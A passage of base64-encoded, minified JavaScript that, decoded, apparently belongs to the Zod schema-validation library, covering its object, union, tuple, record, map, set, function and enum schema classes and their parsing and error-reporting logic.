RlZi5pbm5lclR5cGU7ZVtuXT10fX0pKSxuZXcgWWUoey4uLnRoaXMuX2RlZixzaGFwZTooKT0+ZX0pfWtleW9mKCl7cmV0dXJuIGZuKEl0Lm9iamVjdEtleXModGhpcy5zaGFwZSkpfX1ZZS5jcmVhdGU9KHQsZSk9Pm5ldyBZZSh7c2hhcGU6KCk9PnQsdW5rbm93bktleXM6InN0cmlwIixjYXRjaGFsbDp6ZS5jcmVhdGUoKSx0eXBlTmFtZTpfbi5ab2RPYmplY3QsLi4uQ2UoZSl9KSxZZS5zdHJpY3RDcmVhdGU9KHQsZSk9Pm5ldyBZZSh7c2hhcGU6KCk9PnQsdW5rbm93bktleXM6InN0cmljdCIsY2F0Y2hhbGw6emUuY3JlYXRlKCksdHlwZU5hbWU6X24uWm9kT2JqZWN0LC4uLkNlKGUpfSksWWUubGF6eWNyZWF0ZT0odCxlKT0+bmV3IFllKHtzaGFwZTp0LHVua25vd25LZXlzOiJzdHJpcCIsY2F0Y2hhbGw6emUuY3JlYXRlKCksdHlwZU5hbWU6X24uWm9kT2JqZWN0LC4uLkNlKGUpfSk7Y2xhc3MgdG4gZXh0ZW5kcyB4ZXtfcGFyc2UodCl7Y29uc3R7Y3R4OmV9PXRoaXMuX3Byb2Nlc3NJbnB1dFBhcmFtcyh0KSxuPXRoaXMuX2RlZi5vcHRpb25zO2lmKGUuY29tbW9uLmFzeW5jKXJldHVybiBQcm9taXNlLmFsbChuLm1hcCgoYXN5bmMgdD0+e2NvbnN0IG49ey4uLmUsY29tbW9uOnsuLi5lLmNvbW1vbixpc3N1ZXM6W119LHBhcmVudDpudWxsfTtyZXR1cm57cmVzdWx0OmF3YWl0IHQuX3BhcnNlQXN5bmMoe2RhdGE6ZS5kYXRhLHBhdGg6ZS5wYXRoLHBhcmVudDpufSksY3R4Om59fSkpKS50aGVuKChmdW5jdGlvbih0KXtmb3IoY29uc3QgZSBvZiB0KWlmKCJ2YWxpZCI9PT1lLnJlc3VsdC5zdGF0dXMpcmV0dXJuIGUucmVzdWx0O2Zvcihjb25zdCByIG9mIHQpaWYoImRpcnR5Ij09PXIucmVzdWx0LnN0YXR1cylyZXR1cm4gZS5jb21tb24uaXNzdWVzLnB1c2goLi4uci5jdHguY29tbW9uLmlzc3Vlcyksci5yZXN1bHQ7Y29uc3Qgbj10Lm1hcCgodD0+bmV3IFl0KHQuY3R4LmNvbW1vbi5pc3N1ZXMpKSk7cmV0dXJuIG9lKGUse2NvZGU6WHQuaW52YWxpZF91bmlvbix1bmlvbkVycm9yczpufSksaWV9KSk7e2xldCB0O2NvbnN0IHI9W107Zm9yKGNvbnN0IGEgb2Ygbil7Y29uc3Qgbj17Li4uZSxjb21tb246ey4uLmUuY29tbW9uLGlzc3VlczpbXX0scGFyZW50Om51bGx9LG89YS5fcGFyc2VTeW5jKHtkYXRhOmUuZGF0YSxwYXRoOmUucGF0aCxwYXJlbnQ6bn0pO2lmKCJ2YWxpZCI9PT1vLnN0YXR1cylyZXR1cm4gbzsiZGlydHkiIT09by5zdGF0dXN8fHR8fCh0PXtyZXN1bHQ6byxjdHg6bn0pLG4uY29tbW9uLmlzc3Vlcy5sZW5ndGgmJnIucHVzaChuLmNvbW1vbi5pc3N1ZXMpfWlmKHQpcmV0dXJuIGUuY29tbW9uLmlzc3Vlcy5wdXNoKC4uLnQuY3R4LmNvbW1vbi5pc3N1ZXMpLHQucmVzdWx0O2NvbnN0IG89ci5tYXAoKHQ9Pm5ldyBZdCh0KSkpO3JldHVybiBvZShlLHtjb2RlOlh0LmludmFsaWRfdW5pb24sdW5pb25FcnJvcnM6b30pLGllfX1nZXQgb3B0aW9ucygpe3JldHVybiB0aGlzLl9kZWYub3B0aW9uc319dG4uY3JlYXRlPSh0LGUpPT5uZXcgdG4oe29wdGlvbnM6dCx0eXBlTmFtZTpfbi5ab2RVbmlvbiwuLi5DZShlKX0pO2NvbnN0IGVuPXQ9PnQgaW5zdGFuY2VvZiBsbj9lbih0LnNjaGVtYSk6dCBpbnN0YW5jZW9mIGtuP2VuKHQuaW5uZXJUeXBlKCkpOnQgaW5zdGFuY2VvZiBXbj9bdC52YWx1ZV06dCBpbnN0YW5jZW9mIGhuP3Qub3B0aW9uczp0IGluc3RhbmNlb2YgbW4/SXQub2JqZWN0VmFsdWVzKHQuZW51bSk6dCBpbnN0YW5jZW9mIHluP2VuKHQuX2RlZi5pbm5lclR5cGUpOnQgaW5zdGFuY2VvZiBGZT9bdm9pZCAwXTp0IGluc3RhbmNlb2YgJGU/W251bGxdOnQgaW5zdGFuY2VvZiBnbj9bdm9pZCAwLC4uLmVuKHQudW53cmFwKCkpXTp0IGluc3RhbmNlb2Ygdm4/W251bGwsLi4uZW4odC51bndyYXAoKSldOnQgaW5zdGFuY2VvZiBibnx8dCBpbnN0YW5jZW9mIE9uP2VuKHQudW53cmFwKCkpOnQgaW5zdGFuY2VvZiBDbj9lbih0Ll9kZWYuaW5uZXJUeXBlKTpbXTtjbGFzcyBubiBleHRlbmRzIHhle19wYXJzZSh0KXtjb25zdHtjdHg6ZX09dGhpcy5fcHJvY2Vzc0lucHV0UGFyYW1zKHQpO2lmKGUucGFyc2VkVHlwZSE9PWp0Lm9iamVjdClyZXR1cm4gb2UoZSx7Y29kZTpYdC5pbnZhbGlkX3R5cGUsZXhwZWN0ZWQ6anQub2JqZWN0LHJlY2VpdmVkOmUucGFyc2VkVHlwZX0pLGllO2NvbnN0IG49dGhpcy5kaXNjcmltaW5hdG9yLHI9ZS5kYXRhW25dLG89dGhpcy5vcHRpb25zTWFwLmdldChyKTtyZXR1cm4gbz9lLmNvbW1vbi5hc3luYz9vLl9wYXJzZUFzeW5jKHtkYXRhOmUuZGF0YSxwYXRoOmUucGF0aCxwYXJlbnQ6ZX0pOm8uX3BhcnNlU3luYyh7ZGF0YTplLmRhdGEscGF0aDplLnBhdGgscGFyZW50OmV9KToob2UoZSx7Y29kZTpYdC5pbnZhbGlkX3VuaW9uX2Rpc2NyaW1pbmF0b3Isb3B0aW9uczpBcnJheS5mcm9tKHRoaXMub3B0aW9uc01hcC5rZXlzKCkpLHBhdGg6W25dfSksaWUpfWdldCBkaXNjcmltaW5hdG9yKCl7cmV0dXJuIHRoaXMuX2RlZi5kaXNjcmltaW5hdG9yfWdldCBvcHRpb25zKCl7cmV0dXJuIHRoaXMuX2RlZi5vcHRpb25zfWdldCBvcHRpb25zTWFwKCl7cmV0dXJuIHRoaXMuX2RlZi5vcHRpb25zTWFwfXN0YXRpYyBjcmVhdGUodCxlLG4pe2NvbnN0IHI9bmV3IE1hcDtmb3IoY29uc3QgbyBvZiBlKXtjb25zdCBlPWVuKG8uc2hhcGVbdF0pO2lmKCFlLmxlbmd0aCl0aHJvdyBuZXcgRXJyb3IoYEEgZGlzY3JpbWluYXRvciB2YWx1ZSBmb3Iga2V5IFxgJHt0fVxgIGNvdWxkIG5vdCBiZSBleHRyYWN0ZWQgZnJvbSBhbGwgc2NoZW1hIG9wdGlvbnNgKTtmb3IoY29uc3QgbiBvZiBlKXtpZihyLmhhcyhuKSl0aHJvdyBuZXcgRXJyb3IoYERpc2NyaW1pbmF0b3IgcHJvcGVydHkgJHtTdHJpbmcodCl9IGhhcyBkdXBsaWNhdGUgdmFsdWUgJHtTdHJpbmcobil9YCk7ci5zZXQobixvKX19cmV0dXJuIG5ldyBubih7dHlwZU5hbWU6X24uWm9kRGlzY3JpbWluYXRlZFVuaW9uLGRpc2NyaW1pbmF0b3I6dCxvcHRpb25zOmUsb3B0aW9uc01hcDpyLC4uLkNlKG4pfSl9fWZ1bmN0aW9uIHJuKHQsZSl7Y29uc3Qgbj1VdCh0KSxyPVV0KGUpO2lmKHQ9PT1lKXJldHVybnt2YWxpZDohMCxkYXRhOnR9O2lmKG49PT1qdC5vYmplY3QmJnI9PT1qdC5vYmplY3Qpe2NvbnN0IG49SXQub2JqZWN0S2V5cyhlKSxyPUl0Lm9iamVjdEtleXModCkuZmlsdGVyKCh0PT4tMSE9PW4uaW5kZXhPZih0KSkpLG89ey4uLnQsLi4uZX07Zm9yKGNvbnN0IGEgb2Ygcil7Y29uc3Qgbj1ybih0W2FdLGVbYV0pO2lmKCFuLnZhbGlkKXJldHVybnt2YWxpZDohMX07b1thXT1uLmRhdGF9cmV0dXJue3ZhbGlkOiEwLGRhdGE6b319aWYobj09PWp0LmFycmF5JiZyPT09anQuYXJyYXkpe2lmKHQubGVuZ3RoIT09ZS5sZW5ndGgpcmV0dXJue3ZhbGlkOiExfTtjb25zdCBuPVtdO2ZvcihsZXQgcj0wO3I8dC5sZW5ndGg7cisrKXtjb25zdCBvPXJuKHRbcl0sZVtyXSk7aWYoIW8udmFsaWQpcmV0dXJue3ZhbGlkOiExfTtuLnB1c2goby5kYXRhKX1yZXR1cm57dmFsaWQ6ITAsZGF0YTpufX1yZXR1cm4gbj09PWp0LmRhdGUmJnI9PT1qdC5kYXRlJiYrdD09K2U/e3ZhbGlkOiEwLGRhdGE6dH06e3ZhbGlkOiExfX1jbGFzcyBvbiBleHRlbmRzIHhle19wYXJzZSh0KXtjb25zdHtzdGF0dXM6ZSxjdHg6bn09dGhpcy5fcHJvY2Vzc0lucHV0UGFyYW1zKHQpLHI9KHQscik9PntpZihkZSh0KXx8ZGUocikpcmV0dXJuIGllO2NvbnN0IG89cm4odC52YWx1ZSxyLnZhbHVlKTtyZXR1cm4gby52YWxpZD8oKHVlKHQpfHx1ZShyKSkmJmUuZGlydHkoKSx7c3RhdHVzOmUudmFsdWUsdmFsdWU6by5kYXRhfSk6KG9lKG4se2NvZGU6WHQuaW52YWxpZF9pbnRlcnNlY3Rpb25fdHlwZXN9KSxpZSl9O3JldHVybiBuLmNvbW1vbi5hc3luYz9Qcm9taXNlLmFsbChbdGhpcy5fZGVmLmxlZnQuX3BhcnNlQXN5bmMoe2RhdGE6bi5kYXRhLHBhdGg6bi5wYXRoLHBhcmVudDpufSksdGhpcy5fZGVmLnJpZ2h0Ll9wYXJzZUFzeW5jKHtkYXRhOm4uZGF0YSxwYXRoOm4ucGF0aCxwYXJlbnQ6bn0pXSkudGhlbigoKFt0LGVdKT0+cih0LGUpKSk6cih0aGlzLl9kZWYubGVmdC5fcGFyc2VTeW5jKHtkYXRhOm4uZGF0YSxwYXRoOm4ucGF0aCxwYXJlbnQ6bn0pLHRoaXMuX2RlZi5yaWdodC5fcGFyc2VTeW5jKHtkYXRhOm4uZGF0YSxwYXRoOm4ucGF0aCxwYXJlbnQ6bn0pKX19b24uY3JlYXRlPSh0LGUsbik9Pm5ldyBvbih7bGVmdDp0LHJpZ2h0OmUsdHlwZU5hbWU6X24uWm9kSW50ZXJzZWN0aW9uLC4uLkNlKG4pfSk7Y2xhc3MgYW4gZXh0ZW5kcyB4ZXtfcGFyc2UodCl7Y29uc3R7c3RhdHVzOmUsY3R4Om59PXRoaXMuX3Byb2Nlc3NJbnB1dFBhcmFtcyh0KTtpZihuLnBhcnNlZFR5cGUhPT1qdC5hcnJheSlyZXR1cm4gb2Uobix7Y29kZTpYdC5pbnZhbGlkX3R5cGUsZXhwZWN0ZWQ6anQuYXJyYXkscmVjZWl2ZWQ6bi5wYXJzZWRUeXBlfSksaWU7aWYobi5kYXRhLmxlbmd0aDx0aGlzLl9kZWYuaXRlbXMubGVuZ3RoKXJldHVybiBvZShuLHtjb2RlOlh0LnRvb19zbWFsbCxtaW5pbXVtOnRoaXMuX2RlZi5pdGVtcy5sZW5ndGgsaW5jbHVzaXZlOiEwLGV4YWN0OiExLHR5cGU6ImFycmF5In0pLGllOyF0aGlzLl9kZWYucmVzdCYmbi5kYXRhLmxlbmd0aD50aGlzLl9kZWYuaXRlbXMubGVuZ3RoJiYob2Uobix7Y29kZTpYdC50b29fYmlnLG1heGltdW06dGhpcy5fZGVmLml0ZW1zLmxlbmd0aCxpbmNsdXNpdmU6ITAsZXhhY3Q6ITEsdHlwZToiYXJyYXkifSksZS5kaXJ0eSgpKTtjb25zdCByPVsuLi5uLmRhdGFdLm1hcCgoKHQsZSk9Pntjb25zdCByPXRoaXMuX2RlZi5pdGVtc1tlXXx8dGhpcy5fZGVmLnJlc3Q7cmV0dXJuIHI/ci5fcGFyc2UobmV3IHZlKG4sdCxuLnBhdGgsZSkpOm51bGx9KSkuZmlsdGVyKCh0PT4hIXQpKTtyZXR1cm4gbi5jb21tb24uYXN5bmM/UHJvbWlzZS5hbGwocikudGhlbigodD0+YWUubWVyZ2VBcnJheShlLHQpKSk6YWUubWVyZ2VBcnJheShlLHIpfWdldCBpdGVtcygpe3JldHVybiB0aGlzLl9kZWYuaXRlbXN9cmVzdCh0KXtyZXR1cm4gbmV3IGFuKHsuLi50aGlzLl9kZWYscmVzdDp0fSl9fWFuLmNyZWF0ZT0odCxlKT0+e2lmKCFBcnJheS5pc0FycmF5KHQpKXRocm93IG5ldyBFcnJvcigiWW91IG11c3QgcGFzcyBhbiBhcnJheSBvZiBzY2hlbWFzIHRvIHoudHVwbGUoWyAuLi4gXSkiKTtyZXR1cm4gbmV3IGFuKHtpdGVtczp0LHR5cGVOYW1lOl9uLlpvZFR1cGxlLHJlc3Q6bnVsbCwuLi5DZShlKX0pfTtjbGFzcyBjbiBleHRlbmRzIHhle2dldCBrZXlTY2hlbWEoKXtyZXR1cm4gdGhpcy5fZGVmLmtleVR5cGV9Z2V0IHZhbHVlU2NoZW1hKCl7cmV0dXJuIHRoaXMuX2RlZi52YWx1ZVR5cGV9X3BhcnNlKHQpe2NvbnN0e3N0YXR1czplLGN0eDpufT10aGlzLl9wcm9jZXNzSW5wdXRQYXJhbXModCk7aWYobi5wYXJzZWRUeXBlIT09anQub2JqZWN0KXJldHVybiBvZShuLHtjb2RlOlh0LmludmFsaWRfdHlwZSxleHBlY3RlZDpqdC5vYmplY3QscmVjZWl2ZWQ6bi5wYXJzZWRUeXBlfSksaWU7Y29uc3Qgcj1bXSxvPXRoaXMuX2RlZi5rZXlUeXBlLGE9dGhpcy5fZGVmLnZhbHVlVHlwZTtmb3IoY29uc3QgaSBpbiBuLmRhdGEpci5wdXNoKHtrZXk6by5fcGFyc2UobmV3IHZlKG4saSxuLnBhdGgsaSkpLHZhbHVlOmEuX3BhcnNlKG5ldyB2ZShuLG4uZGF0YVtpXSxuLnBhdGgsaSkpLGFsd2F5c1NldDppIGluIG4uZGF0YX0pO3JldHVybiBuLmNvbW1vbi5hc3luYz9hZS5tZXJnZU9iamVjdEFzeW5jKGUscik6YWUubWVyZ2VPYmplY3RTeW5jKGUscil9Z2V0IGVsZW1lbnQoKXtyZXR1cm4gdGhpcy5fZGVmLnZhbHVlVHlwZX1zdGF0aWMgY3JlYXRlKHQsZSxuKXtyZXR1cm4gbmV3IGNuKGUgaW5zdGFuY2VvZiB4ZT97a2V5VHlwZTp0LHZhbHVlVHlwZTplLHR5cGVOYW1lOl9uLlpvZFJlY29yZCwuLi5DZShuKX06e2tleVR5cGU6WmUuY3JlYXRlKCksdmFsdWVUeXBlOnQsdHlwZU5hbWU6X24uWm9kUmVjb3JkLC4uLkNlKGUpfSl9fWNsYXNzIHNuIGV4dGVuZHMgeGV7Z2V0IGtleVNjaGVtYSgpe3JldHVybiB0aGlzLl9kZWYua2V5VHlwZX1nZXQgdmFsdWVTY2hlbWEoKXtyZXR1cm4gdGhpcy5fZGVmLnZhbHVlVHlwZX1fcGFyc2UodCl7Y29uc3R7c3RhdHVzOmUsY3R4Om59PXRoaXMuX3Byb2Nlc3NJbnB1dFBhcmFtcyh0KTtpZihuLnBhcnNlZFR5cGUhPT1qdC5tYXApcmV0dXJuIG9lKG4se2NvZGU6WHQuaW52YWxpZF90eXBlLGV4cGVjdGVkOmp0Lm1hcCxyZWNlaXZlZDpuLnBhcnNlZFR5cGV9KSxpZTtjb25zdCByPXRoaXMuX2RlZi5rZXlUeXBlLG89dGhpcy5fZGVmLnZhbHVlVHlwZSxhPVsuLi5uLmRhdGEuZW50cmllcygpXS5tYXAoKChbdCxlXSxhKT0+KHtrZXk6ci5fcGFyc2UobmV3IHZlKG4sdCxuLnBhdGgsW2EsImtleSJdKSksdmFsdWU6by5fcGFyc2UobmV3IHZlKG4sZSxuLnBhdGgsW2EsInZhbHVlIl0pKX0pKSk7aWYobi5jb21tb24uYXN5bmMpe2NvbnN0IHQ9bmV3IE1hcDtyZXR1cm4gUHJvbWlzZS5yZXNvbHZlKCkudGhlbigoYXN5bmMoKT0+e2Zvcihjb25zdCBuIG9mIGEpe2NvbnN0IHI9YXdhaXQgbi5rZXksbz1hd2FpdCBuLnZhbHVlO2lmKCJhYm9ydGVkIj09PXIuc3RhdHVzfHwiYWJvcnRlZCI9PT1vLnN0YXR1cylyZXR1cm4gaWU7ImRpcnR5IiE9PXIuc3RhdHVzJiYiZGlydHkiIT09by5zdGF0dXN8fGUuZGlydHkoKSx0LnNldChyLnZhbHVlLG8udmFsdWUpfXJldHVybntzdGF0dXM6ZS52YWx1ZSx2YWx1ZTp0fX0pKX17Y29uc3QgdD1uZXcgTWFwO2Zvcihjb25zdCBuIG9mIGEpe2NvbnN0IHI9bi5rZXksbz1uLnZhbHVlO2lmKCJhYm9ydGVkIj09PXIuc3RhdHVzfHwiYWJvcnRlZCI9PT1vLnN0YXR1cylyZXR1cm4gaWU7ImRpcnR5IiE9PXIuc3RhdHVzJiYiZGlydHkiIT09by5zdGF0dXN8fGUuZGlydHkoKSx0LnNldChyLnZhbHVlLG8udmFsdWUpfXJldHVybntzdGF0dXM6ZS52YWx1ZSx2YWx1ZTp0fX19fXNuLmNyZWF0ZT0odCxlLG4pPT5uZXcgc24oe3ZhbHVlVHlwZTplLGtleVR5cGU6dCx0eXBlTmFtZTpfbi5ab2RNYXAsLi4uQ2Uobil9KTtjbGFzcyBkbiBleHRlbmRzIHhle19wYXJzZSh0KXtjb25zdHtzdGF0dXM6ZSxjdHg6bn09dGhpcy5fcHJvY2Vzc0lucHV0UGFyYW1zKHQpO2lmKG4ucGFyc2VkVHlwZSE9PWp0LnNldClyZXR1cm4gb2Uobix7Y29kZTpYdC5pbnZhbGlkX3R5cGUsZXhwZWN0ZWQ6anQuc2V0LHJlY2VpdmVkOm4ucGFyc2VkVHlwZX0pLGllO2NvbnN0IHI9dGhpcy5fZGVmO251bGwhPT1yLm1pblNpemUmJm4uZGF0YS5zaXplPHIubWluU2l6ZS52YWx1ZSYmKG9lKG4se2NvZGU6WHQudG9vX3NtYWxsLG1pbmltdW06ci5taW5TaXplLnZhbHVlLHR5cGU6InNldCIsaW5jbHVzaXZlOiEwLGV4YWN0OiExLG1lc3NhZ2U6ci5taW5TaXplLm1lc3NhZ2V9KSxlLmRpcnR5KCkpLG51bGwhPT1yLm1heFNpemUmJm4uZGF0YS5zaXplPnIubWF4U2l6ZS52YWx1ZSYmKG9lKG4se2NvZGU6WHQudG9vX2JpZyxtYXhpbXVtOnIubWF4U2l6ZS52YWx1ZSx0eXBlOiJzZXQiLGluY2x1c2l2ZTohMCxleGFjdDohMSxtZXNzYWdlOnIubWF4U2l6ZS5tZXNzYWdlfSksZS5kaXJ0eSgpKTtjb25zdCBvPXRoaXMuX2RlZi52YWx1ZVR5cGU7ZnVuY3Rpb24gYSh0KXtjb25zdCBuPW5ldyBTZXQ7Zm9yKGNvbnN0IHIgb2YgdCl7aWYoImFib3J0ZWQiPT09ci5zdGF0dXMpcmV0dXJuIGllOyJkaXJ0eSI9PT1yLnN0YXR1cyYmZS5kaXJ0eSgpLG4uYWRkKHIudmFsdWUpfXJldHVybntzdGF0dXM6ZS52YWx1ZSx2YWx1ZTpufX1jb25zdCBpPVsuLi5uLmRhdGEudmFsdWVzKCldLm1hcCgoKHQsZSk9Pm8uX3BhcnNlKG5ldyB2ZShuLHQsbi5wYXRoLGUpKSkpO3JldHVybiBuLmNvbW1vbi5hc3luYz9Qcm9taXNlLmFsbChpKS50aGVuKCh0PT5hKHQpKSk6YShpKX1taW4odCxlKXtyZXR1cm4gbmV3IGRuKHsuLi50aGlzLl9kZWYsbWluU2l6ZTp7dmFsdWU6dCxtZXNzYWdlOm1lLnRvU3RyaW5nKGUpfX0pfW1heCh0LGUpe3JldHVybiBuZXcgZG4oey4uLnRoaXMuX2RlZixtYXhTaXplOnt2YWx1ZTp0LG1lc3NhZ2U6bWUudG9TdHJpbmcoZSl9fSl9c2l6ZSh0LGUpe3JldHVybiB0aGlzLm1pbih0LGUpLm1heCh0LGUpfW5vbmVtcHR5KHQpe3JldHVybiB0aGlzLm1pbigxLHQpfX1kbi5jcmVhdGU9KHQsZSk9Pm5ldyBkbih7dmFsdWVUeXBlOnQsbWluU2l6ZTpudWxsLG1heFNpemU6bnVsbCx0eXBlTmFtZTpfbi5ab2RTZXQsLi4uQ2UoZSl9KTtjbGFzcyB1biBleHRlbmRzIHhle2NvbnN0cnVjdG9yKCl7c3VwZXIoLi4uYXJndW1lbnRzKSx0aGlzLnZhbGlkYXRlPXRoaXMuaW1wbGVtZW50fV9wYXJzZSh0KXtjb25zdHtjdHg6ZX09dGhpcy5fcHJvY2Vzc0lucHV0UGFyYW1zKHQpO2lmKGUucGFyc2VkVHlwZSE9PWp0LmZ1bmN0aW9uKXJldHVybiBvZShlLHtjb2RlOlh0LmludmFsaWRfdHlwZSxleHBlY3RlZDpqdC5mdW5jdGlvbixyZWNlaXZlZDplLnBhcnNlZFR5cGV9KSxpZTtmdW5jdGlvbiBuKHQsbil7cmV0dXJuIHJlKHtkYXRhOnQscGF0aDplLnBhdGgsZXJyb3JNYXBzOltlLmNvbW1vbi5jb250ZXh0dWFsRXJyb3JNYXAsZS5zY2hlbWFFcnJvck1hcCxuZSgpLHRlXS5maWx0ZXIoKHQ9PiEhdCkpLGlzc3VlRGF0YTp7Y29kZTpYdC5pbnZhbGlkX2FyZ3VtZW50cyxhcmd1bWVudHNFcnJvcjpufX0pfWZ1bmN0aW9uIHIodCxuKXtyZXR1cm4gcmUoe2RhdGE6dCxwYXRoOmUucGF0aCxlcnJvck1hcHM6W2UuY29tbW9uLmNvbnRleHR1YWxFcnJvck1hcCxlLnNjaGVtYUVycm9yTWFwLG5lKCksdGVdLmZpbHRlcigodD0+ISF0KSksaXNzdWVEYXRhOntjb2RlOlh0LmludmFsaWRfcmV0dXJuX3R5cGUscmV0dXJuVHlwZUVycm9yOm59fSl9Y29uc3Qgbz17ZXJyb3JNYXA6ZS5jb21tb24uY29udGV4dHVhbEVycm9yTWFwfSxhPWUuZGF0YTtpZih0aGlzLl9kZWYucmV0dXJucyBpbnN0YW5jZW9mIHBuKXtjb25zdCB0PXRoaXM7cmV0dXJuIHNlKChhc3luYyBmdW5jdGlvbiguLi5lKXtjb25zdCBpPW5ldyBZdChbXSksYz1hd2FpdCB0Ll9kZWYuYXJncy5wYXJzZUFzeW5jKGUsbykuY2F0Y2goKHQ9Pnt0aHJvdyBpLmFkZElzc3VlKG4oZSx0KSksaX0pKSxzPWF3YWl0IFJlZmxlY3QuYXBwbHkoYSx0aGlzLGMpO3JldHVybiBhd2FpdCB0Ll9kZWYucmV0dXJucy5fZGVmLnR5cGUucGFyc2VBc3luYyhzLG8pLmNhdGNoKCh0PT57dGhyb3cgaS5hZGRJc3N1ZShyKHMsdCkpLGl9KSl9KSl9e2NvbnN0IHQ9dGhpcztyZXR1cm4gc2UoKGZ1bmN0aW9uKC4uLmUpe2NvbnN0IGk9dC5fZGVmLmFyZ3Muc2FmZVBhcnNlKGUsbyk7aWYoIWkuc3VjY2Vzcyl0aHJvdyBuZXcgWXQoW24oZSxpLmVycm9yKV0pO2NvbnN0IGM9UmVmbGVjdC5hcHBseShhLHRoaXMsaS5kYXRhKSxzPXQuX2RlZi5yZXR1cm5zLnNhZmVQYXJzZShjLG8pO2lmKCFzLnN1Y2Nlc3MpdGhyb3cgbmV3IFl0KFtyKGMscy5lcnJvcildKTtyZXR1cm4gcy5kYXRhfSkpfX1wYXJhbWV0ZXJzKCl7cmV0dXJuIHRoaXMuX2RlZi5hcmdzfXJldHVyblR5cGUoKXtyZXR1cm4gdGhpcy5fZGVmLnJldHVybnN9YXJncyguLi50KXtyZXR1cm4gbmV3IHVuKHsuLi50aGlzLl9kZWYsYXJnczphbi5jcmVhdGUodCkucmVzdChWZS5jcmVhdGUoKSl9KX1yZXR1cm5zKHQpe3JldHVybiBuZXcgdW4oey4uLnRoaXMuX2RlZixyZXR1cm5zOnR9KX1pbXBsZW1lbnQodCl7cmV0dXJuIHRoaXMucGFyc2UodCl9c3RyaWN0SW1wbGVtZW50KHQpe3JldHVybiB0aGlzLnBhcnNlKHQpfXN0YXRpYyBjcmVhdGUodCxlLG4pe3JldHVybiBuZXcgdW4oe2FyZ3M6dHx8YW4uY3JlYXRlKFtdKS5yZXN0KFZlLmNyZWF0ZSgpKSxyZXR1cm5zOmV8fFZlLmNyZWF0ZSgpLHR5cGVOYW1lOl9uLlpvZEZ1bmN0aW9uLC4uLkNlKG4pfSl9fWNsYXNzIGxuIGV4dGVuZHMgeGV7Z2V0IHNjaGVtYSgpe3JldHVybiB0aGlzLl9kZWYuZ2V0dGVyKCl9X3BhcnNlKHQpe2NvbnN0e2N0eDplfT10aGlzLl9wcm9jZXNzSW5wdXRQYXJhbXModCk7cmV0dXJuIHRoaXMuX2RlZi5nZXR0ZXIoKS5fcGFyc2Uoe2RhdGE6ZS5kYXRhLHBhdGg6ZS5wYXRoLHBhcmVudDplfSl9fWxuLmNyZWF0ZT0odCxlKT0+bmV3IGxuKHtnZXR0ZXI6dCx0eXBlTmFtZTpfbi5ab2RMYXp5LC4uLkNlKGUpfSk7Y2xhc3MgV24gZXh0ZW5kcyB4ZXtfcGFyc2UodCl7aWYodC5kYXRhIT09dGhpcy5fZGVmLnZhbHVlKXtjb25zdCBlPXRoaXMuX2dldE9yUmV0dXJuQ3R4KHQpO3JldHVybiBvZShlLHtyZWNlaXZlZDplLmRhdGEsY29kZTpYdC5pbnZhbGlkX2xpdGVyYWwsZXhwZWN0ZWQ6dGhpcy5fZGVmLnZhbHVlfSksaWV9cmV0dXJue3N0YXR1czoidmFsaWQiLHZhbHVlOnQuZGF0YX19Z2V0IHZhbHVlKCl7cmV0dXJuIHRoaXMuX2RlZi52YWx1ZX19ZnVuY3Rpb24gZm4odCxlKXtyZXR1cm4gbmV3IGhuKHt2YWx1ZXM6dCx0eXBlTmFtZTpfbi5ab2RFbnVtLC4uLkNlKGUpfSl9V24uY3JlYXRlPSh0LGUpPT5uZXcgV24oe3ZhbHVlOnQsdHlwZU5hbWU6X24uWm9kTGl0ZXJhbCwuLi5DZShlKX0pO2NsYXNzIGhuIGV4dGVuZHMgeGV7Y29uc3RydWN0b3IoKXtzdXBlciguLi5hcmd1bWVudHMpLGtlLnNldCh0aGlzLHZvaWQgMCl9X3BhcnNlKHQpe2lmKCJzdHJpbmciIT10eXBlb2YgdC5kYXRhKXtjb25zdCBlPXRoaXMuX2dldE9yUmV0dXJuQ3R4KHQpLG49dGhpcy5fZGVmLnZhbHVlcztyZXR1cm4gb2UoZSx7ZXhwZWN0ZWQ6SXQuam9pblZhbHVlcyhuKSxyZWNlaXZlZDplLnBhcnNlZFR5cGUsY29kZTpYdC5pbnZhbGlkX3R5cGV9KSxpZX1pZihmZSh0aGlzLGtlLCJmIil8fGhlKHRoaXMsa2UsbmV3IFNldCh0aGlzLl9kZWYudmFsdWVzKSwiZiIpLCFmZSh0aGlzLGtlLCJmIikuaGFzKHQuZGF0YSkpe2NvbnN0IGU9dGhpcy5fZ2V0T3JSZXR1cm5DdHgodCksbj10aGlzLl9kZWYudmFsdWVzO3JldHVybiBvZShlLHtyZWNlaXZlZDplLmRhdGEsY29kZTpYdC5pbnZhbGlkX2VudW1fdmFsdWUsb3B0aW9uczpufSksaWV9cmV0dXJuIHNlKHQuZGF0YSl9Z2V0IG9wdGlvbnMoKXtyZXR1cm4gdGhpcy5fZGVmLnZhbHVlc31nZXQgZW51bSgpe2NvbnN0IHQ9e307Zm9yKGNvbnN0IGUgb2YgdGhpcy5fZGVmLnZhbHVlcyl0W2VdPWU7cmV0dXJuIHR9Z2V0IFZhbHVlcygpe2NvbnN0IHQ9e307Zm9yKGNvbnN0IGUgb2YgdGhpcy5fZGVmLnZhbHVlcyl0W2VdPWU7cmV0dXJuIHR9Z2V0IEVudW0oKXtjb25zdCB0PXt9O2Zvcihjb25zdCBlIG9mIHRoaXMuX2RlZi52YWx1ZXMpdFtlXT1lO3JldHVybiB0fWV4dHJhY3QodCxlPXRoaXMuX2RlZil7cmV0dXJuIGhuLmNyZWF0ZSh0LHsuLi50aGlzLl9kZWYsLi4uZX0pfWV4Y2x1ZGUodCxlPXRoaXMuX2RlZil7cmV0dXJuIGhuLmNyZWF0ZSh0aGlzLm9wdGlvbnMuZmlsdGVyKChlPT4hdC5pbmNsdWRlcyhlKSkpLHsuLi50aGlzLl9kZWYsLi4uZX0pfX1rZT1uZXcgV2Vha01hcCxobi5jcmVhdGU9Zm47Y2xhc3MgbW4gZXh0ZW5kcyB4ZXtjb25zdHJ1Y3Rvcigpe3N1cGVyKC4uLmFyZ3VtZW50cyksZ2Uuc2V0KHRoaXMsdm9pZCAwKX1fcGFyc2UodCl7Y29uc3QgZT1JdC5nZXRWYWxpZEVudW1WYWx1ZXModGhpcy5fZGVmLnZhbHVlcyksbj10aGlzLl9nZXRPclJldHVybkN0eCh0KTtpZihuLnBhcnNlZFR5cGUhPT1qdC5zdHJpbmcmJm4ucGFyc2VkVHlwZSE9PWp0Lm51bWJlcil7Y29uc3QgdD1JdC5vYmplY3RWYWx1ZXMoZSk7cmV0dXJuIG9lKG4se2V4cGVjdGVkOkl0LmpvaW5WYWx1ZXModCkscmVjZWl2ZWQ6bi5wYXJzZWRUeXBlLGNvZGU6WH